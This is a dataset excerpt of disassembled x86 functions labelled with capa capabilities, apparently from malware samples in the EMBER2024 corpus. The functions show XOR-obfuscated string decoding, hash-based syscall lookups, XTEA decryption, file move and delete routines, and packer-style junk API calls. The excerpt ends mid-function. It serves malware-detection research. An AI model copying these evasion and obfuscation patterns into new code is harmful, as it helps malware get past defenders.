joyce8/EMBER2024-capa huggingface dataset:
Function at 0x443c30
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov dword [esp], 0x21262754
mov word [esp + 4], 0
mov eax, 0xe79fff09
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x186000f7]
xor edx, eax
mov esi, edx
and esi, 0x52
xor edx, 0xd2
lea edx, [edx + esi*2]
inc dl
mov byte [esp + eax + 0x186000f7], dl
inc eax
cmp eax, 0xe79fff0f
jne 0x443c50
mov eax, dword [esp]
mov eax, dword fs:[eax]
xor edx, edx
cmp dword [esp + 0x1c], 0
sete dl
jmp dword [edx*4 + 0x44f7fc]

Function at 0x443f10
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [esp + 0x28]
mov ecx, 2
mov edx, 0xffffffff
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
dec ecx
cmp byte [eax + edx + 1], 0
lea edx, [edx + 1]
jne 0x443f30
mov dword [esp + 4], ecx
mov dword [esp], eax
mov dword [esp + 8], 0xf20e0c79
mov dword [esp + 0xc], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 8]
mov edi, eax
and edi, 3
xor edi, 0xcee1f303
mov ebp, eax
and ebp, 4
sub ebp, edi
xor ebp, ecx
lea ebx, [ebp + 0xa69bf0e]
mov ecx, ebx
xor ecx, 0xfffffffe
or ebx, 1
and ebx, ecx
mov ecx, ebx
and ecx, 0xfd
mov edi, ebx
and edi, 2
or ebx, 2
imul ebx, edi
xor edi, 2
imul edi, ecx
mov esi, 1
sub esi, ebp
mov ecx, 0xf1
sub ecx, ebp
and esi, 1
and ecx, 0xfe
or ecx, esi
xor ecx, 0xfe
add ecx, ebx
add ecx, edi
mov byte [esp + eax + 8], cl
inc eax
cmp eax, 8
jne 0x443f60
test edx, edx
je 0x443fee
mov ebx, dword [esp + 8]
mov edi, ebx
not edi
test dl, 1
mov ecx, dword [esp + 0x2c]
mov dword [esp + 0x10], edi
jne 0x443ff7
mov edi, dword [esp + 4]
jmp 0x444028
mov eax, dword [esp + 0x2c]
jmp 0x44408a
mov ebp, ebx
mov esi, dword [esp + 0x28]
movsx eax, byte [esi]
xor eax, ecx
mov edx, eax
and edx, edi
mov ecx, eax
not ecx
and ecx, ebx
imul ecx, edx
mov edx, eax
and edx, ebx
or eax, ebx
imul eax, edx
mov edi, dword [esp + 4]
mov edx, edi
neg edx
inc esi
mov dword [esp], esi
add eax, ecx
mov ecx, eax
test edi, edi
mov edi, dword [esp]
je 0x44408a
xor esi, esi
mov eax, ecx
mov dword [esp], edi
mov ebp, dword [esp + 0x10]
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
movsx edi, byte [ecx + esi]
xor edi, eax
mov eax, edi
and eax, ebp
mov ecx, edi
not ecx
and ecx, ebx
imul ecx, eax
mov eax, edi
and eax, ebx
or edi, ebx
imul edi, eax
add edi, ecx
mov eax, dword [esp]
movsx eax, byte [eax + esi + 1]
xor eax, edi
mov ecx, eax
and ecx, ebp
mov edi, eax
not edi
and edi, ebx
imul edi, ecx
mov ecx, eax
and ecx, ebx
or eax, ebx
imul eax, ecx
add eax, edi
add esi, 2
cmp edx, esi
jne 0x444040
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x444710
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x28
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x3c]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x444730
mov esi, eax
sar esi, 1
cmp esi, 0xfffffffb
jge 0x44474b
mov eax, 0xffffffff
jmp 0x44474e
add eax, 0xa
push eax
call fcn.0040ce80
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [ebx]
test dx, dx
je 0x444791
add ebx, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x444780
mov word [ecx], 0
lea ecx, [esi*2 + 8]
mov word [esp + 8], cx
and esi, 1
xor ecx, 2
lea ecx, [ecx + esi*4]
mov word [esp + 0xa], cx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x1c], 0x40
lea ecx, [esp + 8]
mov dword [esp + 0x18], ecx
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp], 0x2c2d2e2f
xor ebp, ebp
nop
nop
nop
movzx edx, byte [esp + ebp]
lea esi, [edx + edx]
not esi
add esi, edx
and esi, 0x69
and edx, 0xffffff96
or edx, esi
mov esi, ebp
and esi, 1
xor esi, 0x230c01
mov ebx, ebp
xor ebx, 0x2ce74c11
mov ecx, ebp
or ecx, 0x2cc44012
and ecx, ebx
mov ebx, esi
xor ebx, ecx
not ecx
and ecx, esi
add ebx, esi
sub ebx, ecx
xor ebx, edx
add bl, 0xa8
mov byte [esp + ebp], bl
inc ebp
cmp ebp, 4
jne 0x4447f0
mov esi, dword [esp]
mov ecx, dword [0x450d3c]
test ecx, ecx
je 0x444894
xor edx, edx
mov ebx, dword [0x450d40]
nop
cmp dword [ebx + edx*8], 0x266686e9
je 0x444860
inc edx
cmp ecx, edx
jne 0x444850
jmp 0x444894
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x444894
mov edx, esp
lea esi, [esp + 0x10]
push edi
push dword [esp + 0x4c]
push edx
push esi
push dword [esp + 0x54]
push dword [esp + 0x54]
push 6
push dword [0x450d44]
push ecx
mov edi, eax
call fcn.00441410
add esp, 0x24
mov esi, eax
mov eax, edi
push eax
call fcn.0040ce90
add esp, 4
mov eax, esi
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4448b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x50
mov esi, dword [ebp + 8]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x4448d0
mov ebx, eax
sar ebx, 1
cmp ebx, 0xfffffffb
jge 0x4448eb
mov eax, 0xffffffff
jmp 0x4448ee
add eax, 0xa
push eax
call fcn.0040ce80
add esp, 4
mov dword [eax], 0x3f005c
mov dword [eax + 4], 0x5c003f
mov word [eax + 8], 0
mov ecx, eax
add ecx, 8
movzx edx, word [esi]
test dx, dx
je 0x444931
add esi, 2
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x444920
mov word [ecx], 0
lea ecx, [ebx*2 + 8]
mov word [esp], cx
lea ecx, [ebx*2 + 0xa]
mov word [esp + 2], cx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0x40
mov ecx, esp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0x2c2d2e2f
xor edi, edi
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + edi + 0x20]
lea ecx, [edx + edx]
not ecx
add ecx, edx
and ecx, 0x69
and edx, 0xffffff96
or edx, ecx
mov esi, edi
and esi, 1
xor esi, 0x230c01
mov ebx, edi
xor ebx, 0x2ce74c11
mov ecx, edi
or ecx, 0x2cc44012
and ecx, ebx
mov ebx, esi
xor ebx, ecx
not ecx
and ecx, esi
add ebx, esi
sub ebx, ecx
xor ebx, edx
add bl, 0xa8
mov byte [esp + edi + 0x20], bl
inc edi
cmp edi, 4
jne 0x444990
mov esi, dword [esp + 0x20]
mov ecx, dword [0x450d3c]
test ecx, ecx
je 0x444a39
xor edx, edx
mov ebx, dword [0x450d40]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + edx*8], 0x87573896
je 0x444a10
inc edx
cmp ecx, edx
jne 0x444a00
jmp 0x444a39
mov ecx, dword [ebx + edx*8 + 4]
cmp ecx, esi
je 0x444a39
lea edx, [esp + 0x20]
lea esi, [esp + 8]
push edx
push esi
push 2
push dword [0x450d44]
push ecx
mov edi, eax
call fcn.00441410
add esp, 0x14
mov esi, eax
mov eax, edi
push eax
call fcn.0040ce90
add esp, 4
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x444a4f
mov eax, dword [esp + 0x40]
mov dword [ecx], eax
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x444a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x28
mov edi, dword [ebp + 0xc]
mov dword [esp], 0x2c2d2e2f
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + esi]
lea eax, [edx + edx]
not eax
add eax, edx
and eax, 0x69
and edx, 0xffffff96
or edx, eax
mov eax, esi
and eax, 1
xor eax, 0x230c01
mov ebx, esi
xor ebx, 0x2ce74c11
mov ecx, esi
or ecx, 0x2cc44012
and ecx, ebx
mov ebx, eax
xor ebx, ecx
not ecx
and ecx, eax
add ebx, eax
sub ebx, ecx
xor ebx, edx
add bl, 0xa8
mov byte [esp + esi], bl
inc esi
cmp esi, 4
jne 0x444a80
mov eax, dword [esp]
mov edx, dword [0x450d3c]
test edx, edx
je 0x444b18
xor ecx, ecx
mov ebx, dword [0x450d40]
nop
nop
cmp dword [ebx + ecx*8], 0xa70a987f
je 0x444af0
inc ecx
cmp edx, ecx
jne 0x444ae0
jmp 0x444b18
mov edx, dword [ebx + ecx*8 + 4]
cmp edx, eax
je 0x444b18
mov eax, esp
lea ecx, [esp + 0x1c]
push 5
push 0x18
push eax
push ecx
push dword [ebp + 8]
push 5
push dword [0x450d44]
push edx
call fcn.00441410
add esp, 0x20
test edi, edi
je 0x444b22
mov ecx, dword [esp + 8]
mov dword [edi], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x444b31
cmp byte [esp + 0x15], 0
setne byte [ecx]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x444b40
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov edx, dword [esp + 0x28]
mov edi, dword [esp + 0x24]
mov dword [esp + 4], 0x2c2d2e2f
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + esi + 4]
lea ecx, [ebx + ebx]
not ecx
add ecx, ebx
and ecx, 0x69
and ebx, 0xffffff96
or ebx, ecx
mov ebp, esi
and ebp, 1
xor ebp, 0x230c01
mov ecx, esi
xor ecx, 0x2ce74c11
mov eax, esi
or eax, 0x2cc44012
and eax, ecx
mov ecx, ebp
xor ecx, eax
not eax
and eax, ebp
add ecx, ebp
sub ecx, eax
xor ecx, ebx
add cl, 0xa8
mov byte [esp + esi + 4], cl
inc esi
cmp esi, 4
jne 0x444b60
mov eax, dword [esp + 4]
mov ebx, dword [0x450d3c]
test ebx, ebx
je 0x444c0f
xor ecx, ecx
mov ebp, dword [0x450d40]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + ecx*8], 0xd41f89d1
je 0x444be1
inc ecx
cmp ebx, ecx
jne 0x444bd0
jmp 0x444c0f
mov ebx, dword [ebp + ecx*8 + 4]
cmp ebx, eax
je 0x444c0f
lea eax, [esp + 4]
push 0
push 0
push edx
push edi
push eax
push 0
push 0
push 0
push dword [esp + 0x40]
push 9
push dword [0x450d44]
push ebx
call fcn.00441410
add esp, 0x30
cmp eax, 0x103
jne 0x444cc9
mov dword [esp], 0x2c2d2e2f
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax]
lea edx, [ecx + ecx]
not edx
add edx, ecx
and edx, 0x69
and ecx, 0xffffff96
or ecx, edx
mov edx, eax
and edx, 1
xor edx, 0x230c01
mov esi, eax
xor esi, 0x2ce74c11
mov edi, eax
or edi, 0x2cc44012
and edi, esi
mov ebx, edx
xor ebx, edi
not edi
and edi, edx
add ebx, edx
sub ebx, edi
xor ebx, ecx
add bl, 0xa8
mov byte [esp + eax], bl
inc eax
cmp eax, 4
jne 0x444c30
mov eax, dword [esp]
mov ecx, dword [0x450d3c]
test ecx, ecx
je 0x444cc1
xor edx, edx
mov edi, dword [0x450d40]
nop
cmp dword [edi + edx*8], 0x53f09cfa
je 0x444ca0
inc edx
cmp ecx, edx
jne 0x444c90
jmp 0x444cc1
mov ecx, dword [edi + edx*8 + 4]
cmp ecx, eax
je 0x444cc1
push 0
push 0
push dword [esp + 0x28]
push 3
push dword [0x450d44]
push ecx
call fcn.00441410
add esp, 0x18
test eax, eax
js 0x444cc9
mov eax, dword [esp + 4]
mov edx, dword [esp + 0x2c]
test edx, edx
je 0x444ce0
xor ecx, ecx
cmp eax, 0xc0000011
je 0x444cde
mov ecx, dword [esp + 8]
mov dword [edx], ecx
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x444e90
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x24
mov eax, dword [esp + 0x48]
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x38]
mov ebx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [edi + ebx + 2], 0
lea ebx, [ebx + 2]
jne 0x444eb0
sar ebx, 1
mov ebp, ebx
and ebp, 0xfffd
mov ecx, ebx
and ecx, 2
or ebx, 2
imul ebx, ecx
xor ecx, 2
imul ecx, ebp
lea ebp, [ecx + ebx]
mov word [esp + 4], bp
add ecx, ebx
add ecx, 2
mov word [esp + 6], cx
mov dword [esp + 8], edi
mov dword [esp + 0xc], 0x18
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], 0x40
lea eax, [esp + 4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp], 0x2c2d2e2f
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx]
lea ecx, [edi + edi]
not ecx
add ecx, edi
and ecx, 0x69
and edi, 0xffffff96
or edi, ecx
mov ebp, edx
and ebp, 1
xor ebp, 0x230c01
mov ecx, edx
xor ecx, 0x2ce74c11
mov eax, edx
or eax, 0x2cc44012
and eax, ecx
mov ebx, ebp
xor ebx, eax
not eax
and eax, ebp
add ebx, ebp
sub ebx, eax
xor ebx, edi
add bl, 0xa8
mov byte [esp + edx], bl
inc edx
cmp edx, 4
jne 0x444f30
mov eax, dword [esp]
mov edi, dword [0x450d3c]
test edi, edi
je 0x444fc8
xor ebx, ebx
mov ebp, dword [0x450d40]
nop
nop
cmp dword [ebp + ebx*8], 0x9ecf05eb
je 0x444fa1
inc ebx
cmp edi, ebx
jne 0x444f90
jmp 0x444fc8
mov edi, dword [ebp + ebx*8 + 4]
cmp edi, eax
je 0x444fc8
lea eax, [esp + 0xc]
push esi
push eax
push dword [esp + 0x48]
push dword [esp + 0x48]
push 4
push dword [0x450d44]
push edi
call fcn.00441410
add esp, 0x1c
add esp, 0x24
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x434750
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x434773
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x43477a
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x434791
mov edx, dword [ebp - 4]
push edx
call fcn.004360b0
add esp, 4
or eax, 0xffffffff
jmp 0x434793
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4347a0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4347bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x4347c6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x4347dd
mov ecx, dword [ebp - 4]
push ecx
call fcn.004360b0
add esp, 4
or eax, 0xffffffff
jmp 0x4347df
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x43c0e0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x457178]
jne 0x43c0ea
repz ret
jmp fcn.00441b00
Function at 0x44bcb0
Capabilities:
Copy file
Set current directory
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9a8
cmp dword [0x4e19dc], 0x37
jne 0x44be00
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x54]
push ecx
push 0x432918
mov dword [ebp - 0x34], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
push 0
push 0x432920
push 0
push 0x432940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
xor eax, eax
xor edx, edx
lea ecx, [ebp - 0x20]
mov word [ebp - 0x10], dx
push ecx
lea edx, [ebp - 0x10]
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov word [ebp - 0x20], ax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], ax
push edx
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
push 0
push 0
lea ecx, [ebp - 0xf8]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
push 0
push 0
push 0x432968
push 0x4329b4
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
lea edx, [ebp - 0x9a8]
push edx
push 0x4329c4
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0x4329e8
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x432a10
push 0x432a48
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0x432aa8
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov ecx, dword [0x4e19e0]
mov eax, dword [0x4ddfe8]
mov dl, byte [ecx + esi + 0x12336]
mov byte [eax + esi], dl
mov esp, ebp
pop ebp
ret
Function at 0x44c1f0
Capabilities:
Copy file
Get thread local storage value
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b4
mov eax, dword [0x4ddfe8]
push ebx
push esi
mov esi, dword [0x4e19dc]
push edi
mov dword [ebp - 4], eax
cmp esi, 0x516
jne 0x44c223
push 0
lea ecx, [ebp - 0x9b4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
shr esi, 3
mov ebx, esi
xor edi, edi
test ebx, ebx
je 0x44c26c
mov esi, dword [ebp - 4]
cmp dword [0x4e19dc], 0x29
jne 0x44c252
push 0
push 0
push 0
push 0
push 0x4327f8
push 0x432810
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
cmp dword [0x4e19dc], 0x1c
je 0x44c275
mov eax, dword [ebp + 8]
push esi
call fcn.0044c090
inc edi
add esi, 8
cmp edi, ebx
jb 0x44c231
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0x432834
push 0
lea edx, [ebp - 0x5b4]
push edx
push 0x432870
push 0x4328d0
push 0x4328e8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0
push 0
push 0
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
lea ecx, [ebp - 0x1b4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push 0
call dword [sym.imp.KERNEL32.dll_FatalExit]
Function at 0x44c2f0
Capabilities:
Copy file
Create pipe
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x32e8
call fcn.00441560
mov dword [ebp - 4], 0
jmp 0x44c30f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x332beaf6
jge 0x44c3ce
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4e19dc], 0x16
jne 0x44c36a
lea ecx, [ebp - 0x474]
push ecx
push 0
lea edx, [ebp - 0x878]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0x432ae4
push 0
lea eax, [ebp - 0x470]
push eax
push 0x432aec
push 0x432afc
push 0x432b14
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4e19dc], 0x9e
jne 0x44c3be
push 0
push 0
push 0
push 0
push 0x432b44
push 0x432b60
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
lea ecx, [ebp - 0xd98]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
push 0
lea edx, [ebp - 0x1198]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [ebp - 4], 0x3775ee
jle 0x44c3c9
jmp 0x44c3ce
jmp 0x44c306
push 0x457e60
call fcn.0044c1f0
mov dword [ebp - 0x119c], 0
jmp 0x44c3f3
mov eax, dword [ebp - 0x119c]
add eax, 1
mov dword [ebp - 0x119c], eax
cmp dword [ebp - 0x119c], 0x3e79e
jge 0x44c434
cmp dword [0x4e19dc], 0x10
jne 0x44c421
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x432bcc
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
cmp dword [ebp - 0x119c], 0x1e673
jne 0x44c432
call fcn.0044bca0
jmp 0x44c3e4
mov dword [ebp - 0x11a0], 0
jmp 0x44c44f
mov ecx, dword [ebp - 0x11a0]
add ecx, 1
mov dword [ebp - 0x11a0], ecx
cmp dword [ebp - 0x11a0], 0xdd9a7
jge 0x44c4b9
cmp dword [0x4e19dc], 0xc01
jne 0x44c4b7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push 0x432bfc
push 0
push 0x432c14
push 0x432c24
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x432c38
push 0
lea edx, [ebp - 0x15a0]
push edx
push 0x432c48
push 0x432c74
push 0x432ca8
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
jmp 0x44c440
jmp dword [0x4ddfe8]
Function at 0x408f28
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x244]
sub esp, 0x254
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x408f66
xor edx, edx
cmp word [ebp + eax*2 - 0x246], 0x5c
sete dl
jmp 0x408f6d
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, edx
add eax, eax
mov dword [esp + 4], str._s_S.dll
add edx, 0x40b660
add eax, ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, dword [ebp - 4]
sub esp, 0xc
leave
ret 4

Function at 0x40910c
Capabilities:
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x7b2264], 0
mov ebp, esp
push esi
mov edx, dword [ebp + 0xc]
push ebx
jne 0x409149
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
shr esi, 1
and eax, 1
je 0x409134
mov eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x409126
mov dword [ecx*4 + 0x7b2260], eax
inc ecx
cmp ecx, 0x100
jne 0x40911f
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x40916b
mov cl, byte [edx]
inc edx
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x7b2260]
jmp 0x409153
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x401530
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x401559
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401551
cmp al, 0x22
jne 0x401545
cmp byte [esi], 0x22
jne 0x401563
inc esi
jmp 0x401563
cmp al, 0x20
jle 0x401563
inc esi
cmp byte [esi], 0x20
jg 0x40155d
mov al, byte [esi]
test al, al
je 0x40156d
cmp al, 0x20
jle 0x401556
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00402335
push 0x404004
push section..data
call fcn.0040231b
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x40159d
movzx eax, word [ebp - 0x14]
jmp 0x4015a0
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.004010b0
mov esi, eax
call fcn.0040234d
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401072
Capabilities:
Encode data using xor
Encrypt data using xtea
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
call ebx
push eax
call dword [sym.imp.MSVCR80.dll_srand]
mov edi, dword [sym.imp.MSVCR80.dll_rand]
pop ecx
call edi
cdq
mov ecx, 0x3e8
idiv ecx
mov esi, edx
add esi, 0xc8
call edi
cdq
mov ecx, 0x4b0
idiv ecx
add edx, 0x64
push edx
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
mov dword [0x40337c], eax
call ebx
push 0xfffffffffffffff0
push dword [0x40337c]
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, 0x40000000
je 0x401094
push 0xf6950
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push 0x11400
push 0x404380
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCR80.dll_memmove]
add esp, 0xc
push str.snzjdqL738
push 1
push 0x10000
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov edi, eax
cmp esi, 0x7530
jge 0x40115a
lea eax, [ebp - 0x1a0]
push str.3iKdkusq8MMMDkj
push eax
call dword [sym.imp.MSVCR80.dll_wcscpy]
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
cdq
push 0xf
pop ecx
idiv ecx
push 0xf
pop ebx
lea ecx, [ebp + edx*2 - 0x1a0]
movzx eax, word [ecx]
xor edx, edx
div ebx
inc esi
mov ax, word [ebp + edx*2 - 0x1a0]
mov word [ecx], ax
jmp 0x401110
mov esi, dword [ebp - 4]
mov dword [ebp - 8], 0x1e849
mov ecx, esi
call fcn.00401053
lea ecx, [esi + 4]
mov edi, eax
call fcn.00401053
mov ecx, edi
mov edx, 0xc6ef3720
mov edi, ecx
shr edi, 5
mov ebx, ecx
shl ebx, 4
xor edi, ebx
mov ebx, edx
shr ebx, 0xb
and ebx, 3
mov ebx, dword [ebx*4 + 0x402118]
add ebx, edx
add edi, ecx
xor edi, ebx
sub eax, edi
mov edi, eax
shr edi, 5
mov ebx, eax
shl ebx, 4
xor edi, ebx
